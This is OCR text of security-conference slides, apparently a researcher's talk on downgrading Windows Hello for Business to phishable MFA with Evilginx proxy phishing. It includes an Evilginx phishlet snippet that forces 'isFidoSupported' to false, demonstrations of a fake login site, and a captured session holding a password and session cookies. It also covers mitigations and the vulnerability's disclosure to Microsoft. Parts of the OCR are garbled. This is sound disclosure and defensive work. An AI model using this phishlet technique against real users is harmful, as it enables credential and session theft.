"isOtherIdpSupported":true,

"checkPhones":false,

"isRemoteNGCSupported":true,
"isCookieBannerShown":false,
"isFidoSupported":true,

"originalRequest": "rQQIARAAhZK_jo9t@AMX]j5C...snip...SydXuflcv_Qcl",
"country":"IL",

"forceotclogin":false,
"isExternalFederationDisallowed":false,
"isRemoteConnectSupported":false,
"federationFlags":0,

"isSignup":false,

"flowToken": "AQABIQEAAAAPT...snip...E4dgigEdwgAA™,
"isAccessPassSupported":true
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DEMONSTRATION - SIGN IN

= Microsoft

Sign in

yehuda.smirnov@company.com

No account? Create one!

Can't access your account?

Q Sign-in options




DEMONSTRATION - INTERCEPT

POST /common/GetCredentialType?mkt=en-US HTTP/1.1

{

Host: login.microsoftonline.com

Cookie: ..snip...

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x64; rv:127.0)
Gecko/20100101 Firefox/127.0

Origin: https://login.microsoftonline.com

"username":"yehuda.smirnov@company.com",
"isOtherIdpSupported":true,

"checkPhones":false,

"isRemoteNGCSupported":true,

"isCookieBannerShown":false,

"isFidoSupported":true,

"originalRequest":
"rQQIARAANRZI_bONOGIbtpE3...snip...FUOGUZUFzCqTpVPu3rcVsPcK8gs
1",

"country":"IL",

"forceotclogin":false,
"isExternalFederationDisallowed":false,
"isRemoteConnectSupported":false,

"federationFlags":0,

"isSignup":false,

"flowToken": "AQABIQEAAAAPTWIMZXqdR. .snip. .72KycL8UCId7ASgAA",
"isAccessPassSupported”:true,

"isQrCodePinSupported":true



DEMONSTRATION - INTERCEPT

pow POST /common/GetCredentialType?mkt=en-US HTTP/1.1

sag Host: login.microsoftonline.com

faw Cookie: ..snip...

g User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0)
ssy Gecko/20100101 Firefox/127.0

§

% "username":"yehuda.smirnov@company.com",
"isOtherIdpSupported":true,

% "checkPhones":false,
"isRemoteNGCSupported": true,
"isCookieBannerShown":false,
"isFidoSupported":false,

*  "originalRequest":
"rQQIARAAhZI_bONOGIbtpE3...snip...FU0GUZUFzCqTpVPu3rcV5PcK8gs

‘ lll'

| "country": HILN‘

"  "forceotclogin":false,

"isExternalFederationDisallowed":false,
"isRemoteConnectSupported":false,
" "federationFlags":0,
"isSignup":false,
" "flowToken":"AQABIQEAAAApTwWImzXqdR. .snip. .72KycL8UCId7AsgAA",
. "isAccessPassSupported":true,
"isQrCodePinSupported":true




DEMONSTRATION - DOWNGRADED

& yehuda.smirmov@company.com

Enter password

_I-IL-L-II =5
dSS5WOrc




DEMONSTRATION - DOWNGRADED

pne ' POATY omaen /Getiredent Lal Type "ot T

—— L B A

B Microsoft
< yehuda.smirmov@company.com

Enter password

your face, fingerprint, PIN, or security key instead




DEMONSTRATION - DOWNGRADED

P oS Y Comen / Getiredent Lol Type "o aTTR S )
oy West
PP Poe

BE Microsoft
yehuda.smirnov@company.com

Enter code

Enter the code displayed in the authenticator
app on your mobile device

285494

Having trouble? Sign in another way

More information




DEMONSTRATION - DOWNGRADED

pos' POAT Jcommen/GetCredent Lal Type et T D
woe ! WO8 . - } .
B  eessssssss——
4 @, '] % office.com : | @ m
Microsoft 365 Search o B o
Home
@ Welcome to Microsoft 365 Install and more -
£ A
My Content S
Quick access
i i@ Al (® Recently opened &3 Shared 17 Favorites | + T Upload = B85
Apps -
! 72230608322 Jun 26 7 Microsoft sent this
Admin n =
B 52230606780 B -+ Jun26 Microsoft sent this
o?
S - =
w
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PROXY PHISHING




PROXY PHISHING

User Azur

Response from
Azure

Sign-in request



PROXY PHISHING

User Attacker Azur
Forwards
response to user Response from Azure
€ €
t - > >
Sign-in request Forwards request

to Azure



PROXY PHISHING - EVILGINX

User Attacker Azur
Forwards €
response to user Response from Azure
€ €
. . 4 > 5
Sign-in request Forwards request "
to Azure

Link to the Evilginx framework:
made by @mrgretzky




PROXY PHISHING - EVILGINX

A login.attacker.com

Microsoft Azure

a5 Microsoft

Sign In

to continue to Microsoft Azure
Email, phone, or Skype

No account? Create one!

Can’t access your account?

o Sign in with GitHub

C% Sign-in options




PROXY PHISHING - EVILGINX

A login.attacker.com

Microsoft Azure

a5 Microsoft

Sign In

to continue to Microsoft Azure
Email, phone, or Skype

No account? Create one!

Can’t access your account?

o Sign in with GitHub

C% Sign-in options

Agzrg re

W p A

Attacker

y 4




PROXY PHISHING - EVILGINX

_

login.attacker.com




TOMATION

-
A

- —
-.1.; yudasm commented on Mar 5 contributor | s

Added support for force_post for json parameters (supported only regular hitp parameters)

Useful for intercepting requests to URLs such as /common/GetCredentialType which are used to initiate Windows Hello for
Business auth flow

Blog post will be published soon on this subject

The following force_post section can now alter the APl post request and modify it on the fly, something that could not be done
beforehand due to limitations with modifications of JSON params.

- path: '/common/GetCredentialType’ [E]
search:
- {key: 'isFidoSupported', search: ".*'}
force:
- {key: 'isFidoSupported', wvalue: 'false'}
type: 'post’



TOMATION

WHfB-0365-Phishlet / 0365whfb.yaml

Code Blame 91 lines (91 loc) - 2.8 KB

12 - domain: "login.microsoftonline.com’

13 keys: ["ESTSSC:always’, "ESTSAUTHLIGHT:always®, "
14 type: "cookie’

15 force post:

16 - path: "/kmsi’

17 search:

18 - {key: "LoginOptions', search: ".*'}

19 force:

20 - {key: 'LoginOptions', value: "1'}

21 type: 'post’

22 - path: */common/GetCredentialType’

E search:

24 - {key: "isFidoSupported®’, search: ".*"}
25 force:

26 - {key: "isFidoSupported®’, value: 'false'}

27 tvpe: 'post’
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DEMONSTRATION - PHISHING SITE

® hiips//login.attacker.com/commc

| A
Microsoft

Sign in

yehuda.smirnov@company.com

No account? Create one!

Can't access your account?

% Sign-in options




DEMONSTRATION - PHISHING SITE

® 5://login.attacker.com

B® Microsoft

< yehuda.smirnov@company.com

Enter password

Password

Forgot my password

Use your face, fingerprint, PIN, or security key instead




DEMONSTRATION - PHISHING SITE

® hitps//login.attacker.com/cc

== Microsoft

< yehuda.smirnov@company.com

Enter password

Forgot my password

Use your face, fingerprint, PIN, or security key instead




DEMONSTRATION - PHISHING SITE

® ‘ps://login.attacker.com

' Microsoft

yehuda.smirnov@company.com

Enter code

Enter the code displayed in the authenticator
app on your mobile device

474657

Having trouble? Sign in another way

More information




> Home | Microsoft 365 X

< @, 1 % office.com/’
Microsoft 365 {J  Search
Home

® Welcome to Microsoft 365

Create

My Content
Quick access
Feed @ Al (© Recently opened
Apps .
! 72230608322
S ! 52230606780
o?

22 Shared

{7 Favorites

+

Jun 26

Jun 26

DEMONSTRATION - REDIRECT

Install and more -

7’ Microsoft sent this

' Microsoft sent this



: sessions 95

1id : 95
phishlet : microsoft36Snew
username : yehuda.smirnov@company.com
password : DefinitelyNotMyP$ssword
tokens : captured
. - v & - E )

Ol /WUSCRQ =

usl; x64; r:

landing url : hitp 0g1in . !
user-agent : Mozilla/5.0 (Windows NT 10.0;
remote 1p : §3.157.86.34

create tume : 2023-08-27 106:54

update time : 2023-08-27 10:54

[ cookies ]

[{"path":"/","domain":"login.microsoftonline.com", "expirationDate”:1724669698, "value":"0 .AXsAOTlSADkaUuKMﬂFvﬂtEmfGNrBJg;Y
dk3ZSdsp7AIg. AQABAAQAAAAt Yo LDObPQQSVE L T4UGIEPAGDS _WUASP_hBIR1Zw)cs in7frEtkVZoeUdatcw2h_iU7Xb3m2wIBX2uNS5I3V311xVaxtTViNpfzordLdut
s?o ArTK20PsUFOSaNAHbKXrDCTDLEJOUF j -AAVoSWOONcc FEpOSWzqDtonZl jpfl69b6h TLWBGEhz TynHWRQ icUJeY xwudX7Tt jedIL - yOgkPKznpoh iPVYSbkZXGyc
Hf_4S10Zc x26pR1DcWEa1x0tVbpQuVD7Y8Gy30pI5) 1 7YdtDLAK10 1w_RAKyuoW3OR _f4dDnSVEZ26¢506ph fEXZE o] thiaoRWVR203KWgsNo370bws j ZBdp62bb2 I
Xe 10RAOV - ro3KZqIkRod24XC 7 TC TFDmOOWASECOMWPSKBAMaShZZ j tWak 202 7c4 - vP TMdcuQ_vRIZruzwgUooLk 1AkNPpu j 4q4ovE Jwf8smUEUneFGS 1 -WpchrgHiMcd
_c4sp7Cqx-uCpAVu9EkXbecsBgnGgrx8dd IMZ0xk 2M31 1050k aTGI3eGz ys oWVXC IBATR7NNJ98QUk 1JU8- j _gTWoLK3VuhxZTv-eGCF LuRNSCLAGR7 IRyoNhacnygws
yokL T2Rniwh ImmakMSzqy eAhCW_tpLMjc78jAy01)YzyYRbDPIUTCEBA34s YbumS4bTMBQHISZr GGVEmbuDVEHZdgS " , "name ™ : "ESTSAUTH" , *httponly*“:true},{"
path*:*/* *domain":*login.microsoftonline.com”, "expirationDate": 1724669698, *value” : "0.AXsAOT 1540k JbUmxKRmO3ZFv6 1tEZUFGMrBIg- Ydk3
ZSdsp7AIQ . AQABAAQAAAAt Yo L DObpQQSVE L I4uGEPAGDS wnwssncuooemuu J j2ePCWe FITKQqxMbEpPBPQuK tSLCZUAVCC 3QZPEAKU_BKQVRNS - UQTc434F iN
89ebyabal j6Lnv1cDBEQGI_J2vXbWN-n7s1aMuhSwC 1Lk60 1 FPOypgakqNoPcVTRsm6A j BBHC qqeyH6L ZE 35gB. ] F21GaZhUEVSpFBHGIAHADR_nULH]hidancOuNTkN
OWcHqBh1PS3F2CUNTWB 1ql tokv2hxD4J 1tEsZ161q3qC3QWgzsZ2tZ7202a00e4EV-yg7x09 1sN2Ym0Q6al 12_TsdI93r2M-Rm0PWOGT3es | TTKRAX2rCT10c fPQAK ) ZC
jwcUhobv7RTSWXth20Ee fve fpRETACVIUYRUGNALE_4Grtub9QAnbak Tm2 13UckG jmVYmnpGuOowDmc4PhtPKt10bd - md4 IRO9bOSXA_HHHWUXI 11K f9Sot42wwi3Gse
cV3E ", "name":"ESTSAUTHPERSISTENT", "httpOnly":true},{“path":"/"*,"domain":"login.microsoftonline.com”,"expirationDate": 1724669
698, "value”: "CAgABAAIAAAATY0 LDObPQQSVELI4UGIEPAQDS _WUASP - xPbSyILVePHh_65bB-rkdds_3QcBDSo_1B6Nc fobnHal_S9sEW1-UVQUTBS19CUELQRPrag
7PGav 1r-28wehGtCAOOHfsbNhvNNDDBQS90)84nVXY0GC ) InZEF - YAmS ywd ANSLACDI9G_ArVohTéLsYeY0yldCdzttTtvZvm-hgEU19)4YocBePE prQhYYOVUon?{c
fY-rbIthsskpolvozAhwa7ujMB-Horn iFHh28NWAfND LT _2arYcQBARKxu" , “name” : "SignInStateCook ie”,"httpOnly“:true},{“path*:"/* “domain":"lo
gin.microsoftonline.com”, ":ﬁ irationDate”:1724669698, "value” : "PAQABAAEAAAATYO LDObPQQSVL114uG)EPwdTqFYe6zpd LpbWZFnWfo7ar_2z11CJz
XpJ91ipc xuvmmz.u%q:; JUmvhGXkUSORqQVQ-sVhYSaQVxYMpye2j4 gbvuwckuazxsut:canoxoe 11rTlyalBb1f7dxBDUaqWGd ec j ehkZXOPNWINS Tns Ana
MOVMSDWUS - LF 1PndgZS fSTRBGIWRtO 1yWO2bFyIKr XLBLV1 7vP3xap402hYQZ9tvdOSHNDHUQkgAA" , “name ™ : “esctx" , *httpOnly*:true},{"path":*/", “doma
in":"login.microsoftonline.com”, "expirat ionDate" : 1724669698 , "value" : "+6669bd20-ee04-4117-90c5-dc7ed4f7168e1" , "name" : "ESTSAUTHLIGH
T*,"hostonly":true},{"path":"/","domain":"login.mic resoftonl ine.com" ,"expirationDate”: 1724669698, "value":"estsfd", "name":"stsser
vicecookie” ,"httpOnly”:true,"hostOnly":true},{"path":"*/","domain":"login.microsoftonline.com" , "expirationDate":1724669698, "value
*:*estsfd", “name":“x-ms -gateway-slice", “httpOnly":true,*hostonly”:Jrue}]

’ : LW :...'L
109.0) Gecko/20100101 Firefox/116.0
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MITIGATION STRATEGIES

Grant Authentication Strength

Control access enforcement to block or \
grant access. Learn more f
[<) ,

(_ ) Block access

(®) Grant access

| | Require multifactor
authentication

|:| Require authentication
strength

| | Require device to be marked
as compliant




MITIGATION STRATEGIES

Multifactor authentication A U t h en t | Ca t | on St Fen g t h

Combinations of methods that / =~
%)

satisfy strong authentication,

such as Password + SMS

Passwordless MFA

Passwordless methods that
satisfy strong authentication,

such as Microsoft Authenticator

Phishing-resistant MFA

Phishing-resistant Passwordless
methods for the strongest
authentication, such as FIDO2

Security Key
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1 | r authentication I I
Vultfactor authentication Authentication Strength

%

/

Passwordless MFA
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Phishing-resistant Conditional Access Policy
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Phishing-resistant Conditional Access Policy

Target resources Grant access

Select what this policy applies to

Require authentication

Cloud apps strength

Phishing-resistant MFA

Include Exclude

| | rMone

(@) all cloud apps

() select apps
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Register Security Information Conditional
Access Policy
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Register Security Information Conditional
Access Policy

Target resources Grant access

Select what this policy applies to o _ -
Require Microsoft Entra hybnd (2

Joined device

‘ User actions

A\ Don't lock yourself cut! Make
sure that your device is Microsoft
Entra hybnd joined

e |
Learn more C

Select the action this policy will apply to

Reqgister security information

| | Reqister or join devices
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Enforce MFA for all Users
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Enforce MFA for all Users

Select what this policy applies to

Cloud apps

Require authentication
strength

Include Exclude

Multifactor authentic...
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DEMONSTRATION - PHISHING SITE

Microsoft Azure

" Microsoft

Sign In
to continue to Microsoft Azure

Yehuda.Smirnov@company.com

Mo account? Create one!

Can't access your account?

Sign in with GitHub

Sign-in options




DEMONSTRATION - PHISHING SITE

Microsoft Azure

B Microsoft

& yehuda.smirnov@company.com

Enter password

SRS SERRRORRRRERRE

Forgot my password

Use your face, fingerprint, PIN, or security key instead




DEMONSTRATION - PHISHING SITE

Microsoft Azure

B" Microsoft

vehuda.smirnov@company.com

Verify your identity

Your organization requires additional sign in

methods to access this resource.

:? Face, fingerprint, PIN or secunty key
More information

Are your verification methods current?

https://aka.ms/mfasetup




REPORT TIMELINE

« 10 September 2023 — Reported to Microsoft
« 06 November 2023 — Fixed according to Microsoft
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TAKE AWAYS
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Windows Hello for Business




TAKE AWAYS

Windows Hello for Business

WebAuthn API ﬁ?ib



TAKE AWAYS

Windows Hello for Business
WebAuthn AP ﬁ?ib

Downgrade attack vector ~



TAKE AWAYS

Windows Hello for Business
WebAuthn AP @j,
Downgrade attack vector ~ -

Conditional Access Policies



SLIDES

Github Repo with Slide

]
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QUESTIONS?




THANK YOU

FOR WATCHING

Yehuda Smirnov accenture

@yudasm _
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